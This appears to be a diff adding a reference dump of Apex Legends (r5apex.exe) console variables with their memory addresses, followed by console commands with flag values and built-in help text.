+r5apex.exe!0x011b7630 ConVar use_valve_auto_gain +r5apex.exe!0x01ca7c20 ConVar use_vm_cloak_offset +r5apex.exe!0x012e8730 ConVar user_tracking_enabled +r5apex.exe!0x011aae10 ConVar users_hostname +r5apex.exe!0x018af4c0 ConVar v_centermove +r5apex.exe!0x018ba0c0 ConVar v_centerspeed +r5apex.exe!0x01e7a710 ConVar variable_sights_gravity_scale_override +r5apex.exe!0x01c63e50 ConVar vehicle_predictViaPlayer +r5apex.exe!0x01ea89c0 ConVar vgui_EnableFixedAspectScaling +r5apex.exe!0x01e8b430 ConVar vgui_drawPolyShapes +r5apex.exe!0x011b3c70 ConVar vgui_drawfocus +r5apex.exe!0x01ea7b50 ConVar vgui_drawfocus +r5apex.exe!0x011b5b40 ConVar vgui_drawkeyfocus +r5apex.exe!0x018a86b0 ConVar vgui_interactive +r5apex.exe!0x01eaa4b0 ConVar vgui_noquads +r5apex.exe!0x01eaa370 ConVar vgui_notext +r5apex.exe!0x01ea7c20 ConVar vgui_resize_on_resolution_change +r5apex.exe!0x01ea90b0 ConVar vgui_show_glyph_miss +r5apex.exe!0x011b11f0 ConVar vgui_simulate_during_bone_setup +r5apex.exe!0x01e8e280 ConVar video_menu_uiscript_reset +r5apex.exe!0x01cbc640 ConVar viewDrift +r5apex.exe!0x01cbd210 ConVar viewDrift_ads_delay_debounce_time +r5apex.exe!0x01cbd3f0 ConVar viewDrift_pitch_base1_amp +r5apex.exe!0x01cbd350 ConVar viewDrift_pitch_base1_freq +r5apex.exe!0x01cbc3a0 ConVar viewDrift_pitch_base1_phase +r5apex.exe!0x01cbcd00 ConVar viewDrift_pitch_base2_amp +r5apex.exe!0x01cbdbb0 ConVar viewDrift_pitch_base2_freq +r5apex.exe!0x01cbc5a0 ConVar viewDrift_pitch_base2_phase +r5apex.exe!0x01cbc100 ConVar viewDrift_pitch_scaler_amp +r5apex.exe!0x01cbdd90 ConVar viewDrift_pitch_scaler_base +r5apex.exe!0x01cbc040 ConVar viewDrift_pitch_scaler_freq +r5apex.exe!0x01cbbef0 ConVar viewDrift_pitch_scaler_phase +r5apex.exe!0x01cbd170 ConVar viewDrift_pitch_shifter_amp +r5apex.exe!0x01cbd0d0 ConVar viewDrift_pitch_shifter_freq +r5apex.exe!0x01cbd890 ConVar viewDrift_pitch_shifter_phase +r5apex.exe!0x01cbdcf0 ConVar viewDrift_yaw_base1_amp +r5apex.exe!0x01cbd610 ConVar viewDrift_yaw_base1_freq +r5apex.exe!0x01cbb9e0 ConVar viewDrift_yaw_base1_phase +r5apex.exe!0x01cbc6e0 ConVar viewDrift_yaw_base2_amp +r5apex.exe!0x01cbcf80 ConVar viewDrift_yaw_base2_freq +r5apex.exe!0x01cbcee0 ConVar viewDrift_yaw_base2_phase +r5apex.exe!0x01cbc460 ConVar viewDrift_yaw_scaler_amp +r5apex.exe!0x01cbd6b0 ConVar viewDrift_yaw_scaler_base +r5apex.exe!0x01cbd9d0 ConVar viewDrift_yaw_scaler_freq +r5apex.exe!0x01cbd7f0 ConVar viewDrift_yaw_scaler_phase +r5apex.exe!0x01cbba80 ConVar viewDrift_yaw_shifter_amp +r5apex.exe!0x01cbce40 ConVar viewDrift_yaw_shifter_freq +r5apex.exe!0x01cbde30 ConVar viewDrift_yaw_shifter_phase +r5apex.exe!0x01cbfcb0 ConVar view_models_draw_early +r5apex.exe!0x01cbded0 ConVar view_offset_entity_enable +r5apex.exe!0x01c67ce0 ConVar viewangle_debug +r5apex.exe!0x01ea3160 ConVar viewangles_simpler +r5apex.exe!0x018afbd0 ConVar viewmodelShake +r5apex.exe!0x018c4380 ConVar viewmodelShake_sourceRollRange +r5apex.exe!0x01cac1e0 ConVar viewmodel_attachment_fov_fix +r5apex.exe!0x01e74860 ConVar viewmodel_bounds_draw +r5apex.exe!0x01cbfdf0 ConVar viewmodel_bounds_draw_lock +r5apex.exe!0x012fbef0 ConVar viewmodel_selfshadow +r5apex.exe!0x01e74680 ConVar viewmodel_selfshadow_debug_2d +r5apex.exe!0x01cbfa30 ConVar viewmodel_selfshadow_tightbounds +r5apex.exe!0x018b7600 ConVar viewportscale +r5apex.exe!0x01ca2ab0 ConVar viewpunch_base_springConstantX +r5apex.exe!0x01caa4e0 ConVar viewpunch_base_springConstantY +r5apex.exe!0x01ca9900 ConVar viewpunch_base_springConstantZ +r5apex.exe!0x01c90c00 ConVar viewpunch_base_springDampingX +r5apex.exe!0x01ca9c40 ConVar viewpunch_base_springDampingY +r5apex.exe!0x01c76d30 ConVar viewpunch_base_springDampingZ +r5apex.exe!0x012e6050 ConVar violence_ablood +r5apex.exe!0x01cb2bf0 ConVar violence_ablood +r5apex.exe!0x012e6650 ConVar violence_agibs +r5apex.exe!0x01cb4db0 ConVar violence_agibs +r5apex.exe!0x012e78d0 ConVar violence_hblood +r5apex.exe!0x01cb8780 ConVar violence_hblood +r5apex.exe!0x012e6c10 ConVar violence_hgibs +r5apex.exe!0x01cb5d10 ConVar violence_hgibs +r5apex.exe!0x01e777f0 ConVar visible_ent_cone_debug_duration_client +r5apex.exe!0x011b8980 ConVar voice_absTriggerAmount +r5apex.exe!0x01e90300 ConVar voice_allow_mute_self +r5apex.exe!0x011b7a90 ConVar voice_avggain +r5apex.exe!0x01cba730 ConVar voice_clientdebug +r5apex.exe!0x011b7e50 ConVar voice_debugAddSecondTalker +r5apex.exe!0x011b8520 ConVar voice_debugThresholds +r5apex.exe!0x011b3d10 ConVar voice_debugfeedback +r5apex.exe!0x01e8eaf0 ConVar voice_decimate_at_bytes +r5apex.exe!0x01e901e0 ConVar voice_decimate_rate +r5apex.exe!0x011b82a0 ConVar voice_enabled +r5apex.exe!0x011b7f90 ConVar voice_energyPerZeroThreshold +r5apex.exe!0x011b8480 ConVar voice_energyThreshold +r5apex.exe!0x011b8340 ConVar voice_forcemicrecord +r5apex.exe!0x011ab6f0 ConVar voice_inputfromfile +r5apex.exe!0x018af400 ConVar voice_late_update +r5apex.exe!0x011b8700 ConVar voice_loopback +r5apex.exe!0x011b88e0 ConVar voice_maxgain +r5apex.exe!0x011b80d0 ConVar voice_minEnergyPerZeroThreshold +r5apex.exe!0x011b8a20 ConVar voice_mixer_boost +r5apex.exe!0x011b8ac0 ConVar voice_mixer_mute +r5apex.exe!0x011b8b60 ConVar voice_mixer_volume +r5apex.exe!0x01cbad80 ConVar voice_modenable +r5apex.exe!0x012b66c0 ConVar voice_noxplat +r5apex.exe!0x011b8840 ConVar voice_profile +r5apex.exe!0x011ad2a0 ConVar voice_recordtofile +r5apex.exe!0x011b7bd0 ConVar voice_scale +r5apex.exe!0x011b8200 ConVar voice_showchannels +r5apex.exe!0x011b78b0 ConVar voice_showincoming +r5apex.exe!0x011b7950 ConVar voice_threshold_delay +r5apex.exe!0x011b8660 ConVar voice_triggerCrossingRate +r5apex.exe!0x011b7db0 ConVar voice_triggerRate +r5apex.exe!0x011b7590 ConVar voice_turn_off_new_filters +r5apex.exe!0x011b83e0 ConVar voice_vox +r5apex.exe!0x011b7770 ConVar voice_writevoices +r5apex.exe!0x011ab270 ConVar voice_xsend_debug +r5apex.exe!0x011b7c70 ConVar voice_zeroCrossingThreshold +r5apex.exe!0x01e91f20 ConVar vortex_damageimpulsescale +r5apex.exe!0x012e7a10 ConVar vprof_server_spike_threshold +r5apex.exe!0x012e6990 ConVar vprof_server_thread +r5apex.exe!0x01e79fc0 ConVar vscript_ui_do_delay_init +r5apex.exe!0x018c34f0 ConVar vsm_culling +r5apex.exe!0x01c49020 ConVar vsm_ignore_edge_planes +r5apex.exe!0x018b0340 ConVar vsm_ignore_face_planes +r5apex.exe!0x012e5420 ConVar vtx_environment +r5apex.exe!0x011b3810 ConVar vx_do_not_throttle_events +r5apex.exe!0x012e5380 ConVar vxs_persistence +r5apex.exe!0x01cbc780 ConVar wall_climb_pose_paramteter_hands_enabled +r5apex.exe!0x01ca92c0 ConVar wallclimb_vertical_gain_reduction +r5apex.exe!0x01cac5b0 ConVar wallrun_angleChangeMinCos +r5apex.exe!0x01cabb30 ConVar wallrun_avoid_wall_top_decel +r5apex.exe!0x01e92b80 ConVar wallrun_curveDebug +r5apex.exe!0x01e92090 ConVar wallrun_curveEnable +r5apex.exe!0x01ca76f0 ConVar wallrun_debug +r5apex.exe!0x01c779f0 ConVar wallrun_enable +r5apex.exe!0x01ca8110 ConVar wallrun_fallAwaySpeed +r5apex.exe!0x01ca7b50 ConVar wallrun_hangStopTime +r5apex.exe!0x01c748a0 ConVar wallrun_hangslipduration +r5apex.exe!0x01ca54b0 ConVar wallrun_hangslipstarttime +r5apex.exe!0x01ca3f10 ConVar wallrun_hangslipvel +r5apex.exe!0x01ca2790 ConVar wallrun_maxViewTilt +r5apex.exe!0x01c90950 ConVar wallrun_minAngle_air +r5apex.exe!0x01ca7f60 ConVar wallrun_noInputSlipFrac +r5apex.exe!0x01c761c0 ConVar wallrun_pushAwayFallOffTime +r5apex.exe!0x01ca1270 ConVar wallrun_repelEnable +r5apex.exe!0x01ca4890 ConVar wallrun_repelSoftness +r5apex.exe!0x01caaee0 ConVar wallrun_repelTimeMax +r5apex.exe!0x01ca55b0 ConVar wallrun_repelTimeMin +r5apex.exe!0x01ca31c0 ConVar wallrun_retry_interval +r5apex.exe!0x01ca3670 ConVar wallrun_rotateMaxRate +r5apex.exe!0x01ca2830 ConVar wallrun_sameWallDist +r5apex.exe!0x01ca3080 ConVar wallrun_sameWallDot +r5apex.exe!0x01c72300 ConVar wallrun_sameWallSlope +r5apex.exe!0x01caad70 ConVar wallrun_slipduration +r5apex.exe!0x01ca3530 ConVar wallrun_slipslowdown +r5apex.exe!0x01ca7260 ConVar wallrun_slipstarttime +r5apex.exe!0x01ca96a0 ConVar wallrun_slipvel +r5apex.exe!0x01c766c0 ConVar wallrun_strengthLossEnd +r5apex.exe!0x01c75de0 ConVar wallrun_strengthLossStart +r5apex.exe!0x01ca5a50 ConVar wallrun_upwardAutoPush +r5apex.exe!0x01ca9ce0 ConVar wallrun_viewTiltPredictTime +r5apex.exe!0x01c76dd0 ConVar wallrun_viewTiltSpeed +r5apex.exe!0x01ca49d0 ConVar was_loaded +r5apex.exe!0x01e994e0 ConVar weaponFastHolsterScale +r5apex.exe!0x01cab740 ConVar weaponSwitch3p_checkNewWeapon +r5apex.exe!0x01e9d3a0 ConVar weaponSwitch3p_onHolster +r5apex.exe!0x01cbca80 ConVar weapon_auto_swap_ordnance_no_ammo +r5apex.exe!0x01e9cf00 ConVar weapon_debugScript +r5apex.exe!0x01e9c8e0 ConVar weapon_doIdleForSurvivalMelee +r5apex.exe!0x018aeab0 ConVar weapon_friendly_fire_prevent_ui +r5apex.exe!0x01cbd570 ConVar weapon_meleeButtonPressProtection +r5apex.exe!0x01ea25c0 ConVar weapon_parentingFixLerp +r5apex.exe!0x01cbdb10 ConVar weapon_pickup_allow_dupes +r5apex.exe!0x018afe50 ConVar weapon_poseParamMaxDistance +r5apex.exe!0x01e9d2a0 ConVar weapon_render_with_fastpath +r5apex.exe!0x01c62080 ConVar weapon_setting_autocycle_on_empty +r5apex.exe!0x01e9cfe0 ConVar weapon_sprint_raise_delay +r5apex.exe!0x01e9d9e0 ConVar weaponx_predicting_client_only_optimization +r5apex.exe!0x01e9daa0 ConVar weaponx_smartammo_data_optimization +r5apex.exe!0x01e97070 ConVar window_hint_debug +r5apex.exe!0x01c90f60 ConVar window_hint_fov_down +r5apex.exe!0x01ca9220 ConVar window_hint_fov_horz +r5apex.exe!0x01ca3300 ConVar window_hint_fov_up +r5apex.exe!0x01ca73d0 ConVar window_hint_keyboard_fov_horz +r5apex.exe!0x01c74b60 ConVar window_hint_lookahead_time +r5apex.exe!0x01cab490 ConVar window_hint_max_horz_vel_change_dot +r5apex.exe!0x01ca4530 ConVar window_hint_max_vel_change_down +r5apex.exe!0x01caab60 ConVar window_hint_max_vel_change_up +r5apex.exe!0x01c77d70 ConVar window_hint_min_horz_vel +r5apex.exe!0x01cabf40 ConVar window_hint_permissive_max_horz_vel_change_dot +r5apex.exe!0x01ca7300 ConVar window_hint_permissive_max_vel_change_down +r5apex.exe!0x01ca26f0 ConVar window_hint_permissive_max_vel_change_up +r5apex.exe!0x018a7790 ConVar z_ragdoll_impact_strength +r5apex.exe!0x01e99e20 ConVar zipline_check_usable_before_deploy +r5apex.exe!0x01e9f9c0 ConVar zipline_cooldown_time_0 +r5apex.exe!0x01e9fa60 ConVar zipline_cooldown_time_1 +r5apex.exe!0x01e9fb00 ConVar zipline_cooldown_time_2 +r5apex.exe!0x01e9fba0 ConVar zipline_cooldown_time_3 +r5apex.exe!0x01e9fc40 ConVar zipline_cooldown_time_4 +r5apex.exe!0x01e9e8c0 ConVar zipline_fade_dist +r5apex.exe!0x01e9e960 ConVar zipline_subdiv_lod_dist_base +r5apex.exe!0x01c66560 ConVar zipline_subdiv_slices +r5apex.exe!0x01ea01c0 ConVar zipline_subdiv_slices_lod +r5apex.exe!0x01c5e650 ConVar zipline_subdiv_stacks +``` + +## ConCommands + +
++ability + + + +flags: `0x400a0000` +
+
++ability_held + + + +flags: `0x400a0000` +
+
++attack + + + +flags: `0x40080000` +
+
++backward + + + +flags: `0x400a0000` +
+
++break + + + +flags: `0x40080000` +
+
++camdistance + + + +flags: `0x2` +
+
++camin + + + +flags: `0x2` +
+
++cammousemove + + + +flags: `0x2` +
+
++camout + + + +flags: `0x2` +
+
++campitchdown + + + +flags: `0x2` +
+
++campitchup + + + +flags: `0x2` +
+
++camyawleft + + + +flags: `0x2` +
+
++camyawright + + + +flags: `0x2` +
+
++commandermousemove + + + +flags: `0x80000` +
+
++csm_rot_x_neg + + + +flags: `0x2` +
+
++csm_rot_x_plus + + + +flags: `0x2` +
+
++csm_rot_y_neg + + + +flags: `0x2` +
+
++csm_rot_y_plus + + + +flags: `0x2` +
+
++displayFullscreenMap + + + +flags: `0x40080000` +
+
++dodge + + + +flags: `0x400a0000` +
+
++duck + + + +flags: `0x400a0000` +
+
++forward + + + +flags: `0x400a0000` +
+
++graph + + + +flags: `0x40080000` +
+
++jump + + + +flags: `0x400a0000` +
+
++klook + + + +flags: `0x40080000` +
+
++left + + + +flags: `0x40080000` +
+
++lookdown + + + +flags: `0x80000` +
+
++lookup + + + +flags: `0x80000` +
+
++mat_texture_list + + + +flags: `0x2` +
+
++melee + + + +flags: `0x40080000` +
+
++movedown + + + +flags: `0x40080000` +
+
++moveleft + + + +flags: `0x400a0000` +
+
++moveright + + + +flags: `0x400a0000` +
+
++moveup + + + +flags: `0x40080000` +
+
++offhand0 + + + +flags: `0x40080000` +
+
++offhand1 + + + +flags: `0x40080000` +
+
++offhand2 + + + +flags: `0x40080000` +
+
++offhand3 + + + +flags: `0x40080000` +
+
++offhand4 + + + +flags: `0x40080000` +
+
++pause_menu + + + +flags: `0x40080000` +
+
++ping + + + +flags: `0x400a0000` +
+
++posedebug + +Turn on pose debugger or add ents to pose debugger UI + +flags: `0x4000` +
+
++pushtotalk + + + +flags: `0x40000000` +
+
++reload + + + +flags: `0x40080000` +
+
++right + + + +flags: `0x40080000` +
+
++score + + + +flags: `0x40080000` +
+
++scriptCommand1 + + + +flags: `0x40080000` +
+
++scriptCommand2 + + + +flags: `0x40080000` +
+
++scriptCommand3 + + + +flags: `0x40080000` +
+
++scriptCommand4 + + + +flags: `0x40080000` +
+
++scriptCommand5 + + + +flags: `0x40080000` +
+
++scriptCommand6 + + + +flags: `0x40080000` +
+
++scriptCommand7 + + + +flags: `0x40080000` +
+
++scriptCommand8 + + + +flags: `0x40080000` +
+
++scriptCommand9 + + + +flags: `0x40080000` +
+
++showscores + + + +flags: `0x40080000` +
+
++speed + + + +flags: `0x40080000` +
+
++strafe + + + +flags: `0x40080000` +
+
++toggle_duck + + + +flags: `0x400a0000` +
+
++toggle_zoom + + + +flags: `0x40080000` +
+
++use + + + +flags: `0x40080000` +
+
++useAndReload + + + +flags: `0x40080000` +
+
++use_alt + + + +flags: `0x40080000` +
+
++use_long + + + +flags: `0x40080000` +
+
++variableScopeToggle + + + +flags: `0x400a0000` +
+
++voicerecord + + + +flags: `0x2` +
+
++walk + + + +flags: `0x40080000` +
+
++weaponCycle + + + +flags: `0x40080000` +
+
++weapon_discard + + + +flags: `0x40080000` +
+
++zoom + + + +flags: `0x40080000` +
+
+-ability + + + +flags: `0x400a0000` +
+
+-ability_held + + + +flags: `0x400a0000` +
+
+-attack + + + +flags: `0x40080000` +
+
+-backward + + + +flags: `0x400a0000` +
+
+-break + + + +flags: `0x40080000` +
+
+-camdistance + + + +flags: `0x2` +
+
+-camin + + + +flags: `0x2` +
+
+-cammousemove + + + +flags: `0x2` +
+
+-camout + + + +flags: `0x2` +
+
+-campitchdown + + + +flags: `0x2` +
+
+-campitchup + + + +flags: `0x2` +
+
+-camyawleft + + + +flags: `0x2` +
+
+-camyawright + + + +flags: `0x2` +
+
+-commandermousemove + + + +flags: `0x80000` +
+
+-csm_rot_x_neg + + + +flags: `0x2` +
+
+-csm_rot_x_plus + + + +flags: `0x2` +
+
+-csm_rot_y_neg + + + +flags: `0x2` +
+
+-csm_rot_y_plus + + + +flags: `0x2` +
+
+-displayFullscreenMap + + + +flags: `0x40080000` +
+
+-dodge + + + +flags: `0x400a0000` +
+
+-duck + + + +flags: `0x400a0000` +
+
+-forward + + + +flags: `0x400a0000` +
+
+-graph + + + +flags: `0x40080000` +
+
+-jump + + + +flags: `0x400a0000` +
+
+-klook + + + +flags: `0x40080000` +
+
+-left + + + +flags: `0x40080000` +
+
+-lookdown + + + +flags: `0x80000` +
+
+-lookup + + + +flags: `0x80000` +
+
+-mat_texture_list + + + +flags: `0x2` +
+
+-melee + + + +flags: `0x40080000` +
+
+-movedown + + + +flags: `0x40080000` +
+
+-moveleft + + + +flags: `0x400a0000` +
+
+-moveright + + + +flags: `0x400a0000` +
+
+-moveup + + + +flags: `0x40080000` +
+
+-offhand0 + + + +flags: `0x40080000` +
+
+-offhand1 + + + +flags: `0x40080000` +
+
+-offhand2 + + + +flags: `0x40080000` +
+
+-offhand3 + + + +flags: `0x40080000` +
+
+-offhand4 + + + +flags: `0x40080000` +
+
+-pause_menu + + + +flags: `0x40080000` +
+
+-ping + + + +flags: `0x400a0000` +
+
+-posedebug + +Turn off pose debugger or hide ents from pose debugger UI + +flags: `0x4000` +
+
+-pushtotalk + + + +flags: `0x40000000` +
+
+-reload + + + +flags: `0x40080000` +
+
+-right + + + +flags: `0x40080000` +
+
+-score + + + +flags: `0x40080000` +
+
+-scriptCommand1 + + + +flags: `0x40080000` +
+
+-scriptCommand2 + + + +flags: `0x40080000` +
+
+-scriptCommand3 + + + +flags: `0x40080000` +
+
+-scriptCommand4 + + + +flags: `0x40080000` +
+
+-scriptCommand5 + + + +flags: `0x40080000` +
+
+-scriptCommand6 + + + +flags: `0x40080000` +
+
+-scriptCommand7 + + + +flags: `0x40080000` +
+
+-scriptCommand8 + + + +flags: `0x40080000` +
+
+-scriptCommand9 + + + +flags: `0x40080000` +
+
+-showscores + + + +flags: `0x40080000` +
+
+-speed + + + +flags: `0x40080000` +
+
+-strafe + + + +flags: `0x40080000` +
+
+-toggle_duck + + + +flags: `0x400a0000` +
+
+-toggle_zoom + + + +flags: `0x40080000` +
+
+-use + + + +flags: `0x40080000` +
+
+-useAndReload + + + +flags: `0x40080000` +
+
+-use_alt + + + +flags: `0x40080000` +
+
+-use_long + + + +flags: `0x40080000` +
+
+-variableScopeToggle + + + +flags: `0x400a0000` +
+
+-voicerecord + + + +flags: `0x2` +
+
+-walk + + + +flags: `0x40080000` +
+
+-weaponCycle + + + +flags: `0x40080000` +
+
+-weapon_discard + + + +flags: `0x40080000` +
+
+-zoom + + + +flags: `0x40000000` +
+
+BindToggle + +Performs a bind "increment var 0 1 1" + +flags: `0x2` +
+
+CMaterialSystem_clear_loading + + + +flags: `0x20002` +
+
+CMaterialSystem_set_loading + + + +flags: `0x20002` +
+
+DebugPrintUsedTextures + + + +flags: `0x2` +
+
+DumpClientDataBlockReceiver + + + +flags: `0x2` +
+
+EADP_Dump_Invites + + + +flags: `0x2` +
+
+EADP_RTM_FORCE_TLS_ERROR + + + +flags: `0x2` +
+
+EADP_RTM_send_invite + + + +flags: `0x2` +
+
+EADP_RTM_send_presence + + + +flags: `0x2` +
+
+EADP_RTM_test_subscribe + + + +flags: `0x2` +
+
+EADP_dump_MyPresence + + + +flags: `0x2` +
+
+EADP_dump_friends + + + +flags: `0x2` +
+
+EADP_get_friend_test + + + +flags: `0x2` +
+
+EADP_is_friend_user_test + + + +flags: `0x2` +
+
+EADP_presence_subscribe_all_club_members + + + +flags: `0x2` +
+
+EADP_search_test2 + + + +flags: `0x2` +
+
+EADP_unfriend_user_test + + + +flags: `0x2` +
+
+MemTrackDeltaSnapshot + +Debug command compares two snapshots. Takes indices into the snapshot array, negative means from end + +flags: `0x2` +
+
+MemTrackPrintStats + +Debug command prints current mem stats & creates a named snapshot - first param is snapshot name + +flags: `0x2` +
+
+OriginRebootCLientAuthTokens_Test + + + +flags: `0x2` +
+
+RTM_FORCE_shutdown + + + +flags: `0x2` +
+
+ReloadAimAssistSettings + +Reloads aimassist config files. + +flags: `0xa` +
+
+adminmsg + +Send text to the current community (if you are an admin) + +flags: `0x2` +
+
+aisettings_reparse_client + +Reloads the AI settings files + +flags: `0xa` +
+
+alias + +Alias a command. + +flags: `0x2` +
+
+applyVideoChangesDeferred + +Workaround for applying video changes using controller buttons shortcuts. + +flags: `0x40000008` +
+
+bind + +Bind a key to TAPPED. + +flags: `0x40000000` +
+
+bind_US_standard + +Bind a key to TAPPED. Given a key on a standard US keyboard, this function will translate that key to the appropriate key on the user's current keyboard. + +flags: `0x40000000` +
+
+bind_held + +Bind a key to HELD. + +flags: `0x40000000` +
+
+bind_held_US_standard + +Bind a key to HELD.. Given a key on a standard US keyboard, this function will translate that key to the appropriate key on the user's current keyboard. + +flags: `0x40000000` +
+
+bind_list + +List all current bindings. + +flags: `0x2` +
+
+bind_list_abilities + +List all ability bindings and what commands they resolve to + +flags: `0x2` +
+
+bink_dump_precached_movies + +Dumps information about all precached Bink movies + +flags: `0x2` +
+
+bot_loadout + +Override bot loadout + +flags: `0x4008` +
+
+box + +Draw a debug box. + +flags: `0x4000` +
+
+buildcubemaps + +Rebuild cubemaps. + +flags: `0x2` +
+
+cache_print + +cache_print [section] +Print out contents of cache memory. + +flags: `0x2` +
+
+cache_print_lru + +cache_print_lru [section] +Print out contents of cache memory. + +flags: `0x2` +
+
+cache_print_summary + +cache_print_summary [section] +Print out a summary contents of cache memory. + +flags: `0x2` +
+
+cam_command + +Tells camera to change modes + +flags: `0x4008` +
+
+cancelselect + + + +flags: `0x10000002` +
+
+cc_emit + +Emits a closed caption + +flags: `0xa` +
+
+centerview + + + +flags: `0x2` +
+
+changelevel + +Change server to the specified map + +flags: `0x20002` +
+
+chaosmonkeydisconnect + +Server tells us to crash. The monkey server has spoken. + +flags: `0x40000008` +
+
+chat + +Send text to the current chatroom + +flags: `0x2` +
+
+chat_wheel + +Opens the chat wheel + +flags: `0x40000008` +
+
+chatroom_adminsOnly + +Set the chatroom to be admins-only + +flags: `0x2` +
+
+chatroom_away + +Tell the chatserver you are away from the room + +flags: `0x2` +
+
+chatroom_freetalk + +Set the chatroom to be free talk + +flags: `0x2` +
+
+chatroom_present + +Tell the chatserver you are present in the room + +flags: `0x2` +
+
+chatserver + +Connect to a chatserver + +flags: `0x40000000` +
+
+chroma_base + +Transitions to a new base layer for chroma hardware + +flags: `0x2` +
+
+chroma_layer + +Adds an overlay layer for chroma hardware + +flags: `0x2` +
+
+cl_dump_particle_stats + +dump particle profiling info to particle_profile.csv + +flags: `0x2` +
+
+cl_ent_absbox + +Displays the client's absbox for the entity under the crosshair. + +flags: `0x4008` +
+
+cl_ent_bbox + +Displays the client's bounding box for the entity under the crosshair. + +flags: `0x4008` +
+
+cl_ent_rbox + +Displays the client's render box for the entity under the crosshair. + +flags: `0x4008` +
+
+cl_find_ent + +Find and list all client entities with classnames that contain the specified substring. +Format: cl_find_ent + + +flags: `0x4000` +
+
+cl_find_ent_index + +Display data for clientside entity matching specified index. +Format: cl_find_ent_index + + +flags: `0x4000` +
+
+cl_flip_visibility + +Flips the visibilityBits of all Entities + +flags: `0x4000` +
+
+cl_fullupdate + +Forces the server to send a full update packet + +flags: `0x4000` +
+
+cl_interpolation_report + +Prints all entities being interpolated on the next frame + +flags: `0xa` +
+
+cl_panelanimation + +Shows panel animation variables: . + +flags: `0xa` +
+
+cl_particles_dumplist + +Dump all new particles, optional name substring. + +flags: `0xa` +
+
+cl_precacheinfo + +Show precache info (client). + +flags: `0x2` +
+
+cl_removedecals + +Remove the decals from the entity under the crosshair. + +flags: `0x4000` +
+
+cl_showents + +Dump entity list to console. + +flags: `0x4000` +
+
+cl_soundscape_flush + +Flushes the client side soundscapes + +flags: `0x10004008` +
+
+cl_trace_start_solid + +Trace with given parameters and return start solid result + +flags: `0xa` +
+
+cl_trace_test_hitbox_with_non_zero_start_offset + + + +flags: `0xa` +
+
+cl_updatevisibility + +Updates visibility bits. + +flags: `0xa` +
+
+clear_loading_progress_detente + +Clears the detente for the load screen. + +flags: `0x20002` +
+
+clear_loading_progress_sp_text + +Clears the sp text for the load screen. + +flags: `0x20002` +
+
+cm_query_log_record + +Start recording a log of all queries + +flags: `0x2` +
+
+cm_query_log_replay + +Play back a query log for performance testing + +flags: `0x2` +
+
+cmd + +Forward command to server. + +flags: `0x2` +
+
+cmd1 + +sets userinfo string for split screen player in slot 1 + +flags: `0x40000000` +
+
+cmd2 + +sets userinfo string for split screen player in slot 2 + +flags: `0x2` +
+
+cmd3 + +sets userinfo string for split screen player in slot 3 + +flags: `0x2` +
+
+cmd4 + +sets userinfo string for split screen player in slot 4 + +flags: `0x2` +
+
+collision_debug + +Sends a collision ray from player and gathers info. + +flags: `0x4008` +
+
+colorcorrectionui + +Show/hide the color correction tools UI. + +flags: `0x4000` +
+
+community_browse + +Browse available communities + +flags: `0x2` +
+
+community_getPendingJoinRequest + +Get a random pending join request to answer + +flags: `0x2` +
+
+community_join + +Join a community + +flags: `0x2` +
+
+community_leave + +Leave a community + +flags: `0x2` +
+
+community_list + +list my communities + +flags: `0x2` +
+
+community_report + +Report a community + +flags: `0x2` +
+
+community_showerror + +Get a random pending join request to answer + +flags: `0x2` +
+
+connect + +Connect to specified server. + +flags: `0x20002` +
+
+connectAsSpectator + +Connect to specified server as a spectator + +flags: `0x20002` +
+
+connectWithKey + +Connect to specified server with an explicit encryption key. + +flags: `0x20002` +
+
+connectwithtoken + +Connect to specified server with a reservation token. + +flags: `0xa0000` +
+
+convar_differences + +Show all convars which are not at their default values. + +flags: `0x2` +
+
+convar_findByFlags + +Find concommands by flags. + +flags: `0x2` +
+
+convar_list + +Show the list of convars/concommands. + +flags: `0x2` +
+
+createparty + +Create a party + +flags: `0x2` +
+
+createpartyifnotinone + +Create a party if we aren't in one + +flags: `0x2` +
+
+csm_status + +Usage: + csm_status + + +flags: `0x2` +
+
+damagedefs_reparse_client + +Reloads the damage defs + +flags: `0xa` +
+
+debugModelPurge + +Debug command to purge unused models... + +flags: `0x2` +
+
+devshots_nextmap + +Used by the devshots system to go to the next map in the devshots maplist. + +flags: `0x2` +
+
+devshots_screenshot + +Used by the -makedevshots system to take a screenshot. For taking your own screenshots, use the 'screenshot' command instead. + +flags: `0x20002` +
+
+dfs_print_flag_states + +Prints all dfs flag states to console + +flags: `0x2` +
+
+dfs_print_true_flags + +Prints all true feature flags to console + +flags: `0x2` +
+
+disconnect + +Disconnect game from server. + +flags: `0x48000000` +
+
+display_elapsedtime + +Displays how much time has elapsed since the game started + +flags: `0x4000` +
+
+dlight_debug + +Creates a dlight in front of the player + +flags: `0x4008` +
+
+do_InvitePeople_test + + + +flags: `0x2` +
+
+do_Invite_friend_test + + + +flags: `0x2` +
+
+do_joinPeople_test + + + +flags: `0x2` +
+
+do_origin_test_presence + + + +flags: `0x2` +
+
+downloadPlaylists + +Re-download the playlists + + +flags: `0x2` +
+
+dumpClientStringTable + +Dump the contents of the client's game string table to the console. + +flags: `0x4000` +
+
+dumpstringtables + +Print string tables to console. + +flags: `0x2` +
+
+echo + +Echo text to console. + +flags: `0x10000002` +
+
+echo_error + +Echo error text to console. + +flags: `0x10000002` +
+
+editor_toggle + +Disables the simulation and returns focus to the editor + +flags: `0x4000` +
+
+endmovie + +Stop recording movie frames. + +flags: `0x20002` +
+
+entitlements_send + +Send client's entitlements to the server + +flags: `0x2` +
+
+envmap + + + +flags: `0x2` +
+
+escape + +Escape key pressed. + +flags: `0x40000000` +
+
+exec + +Execute script file. + +flags: `0x40000000` +
+
+execPlayerConfig + +Load player settings. + +flags: `0x80000` +
+
+execifexists + +Execute script file if file exists. + +flags: `0x2` +
+
+exit + +Exit the engine. + +flags: `0x2` +
+
+eyeInfo + +gets info about the current view + + +flags: `0x2` +
+
+firstperson + +Switch to firstperson camera. + +flags: `0x2` +
+
+flush + +Flush unlocked cache memory. + +flags: `0x4000` +
+
+flush_locked + +Flush unlocked and locked cache memory. + +flags: `0x4000` +
+
+force_centerview + + + +flags: `0x40080000` +
+
+fps_stats_dump + + + +flags: `0x2` +
+
+fps_stats_reset + + + +flags: `0x2` +
+
+fps_stats_start + + + +flags: `0x2` +
+
+fps_stats_stop + + + +flags: `0x2` +
+
+friends_update + + + +flags: `0x2` +
+
+fs_clear_open_duplicate_times + +Clear the list of files that have been opened. + +flags: `0x2` +
+
+fs_dump_open_duplicate_times + +Set fs_report_long_reads 1 before loading to use this. Prints a list of files that were opened more than once and ~how long was spent reading from them. + +flags: `0x2` +
+
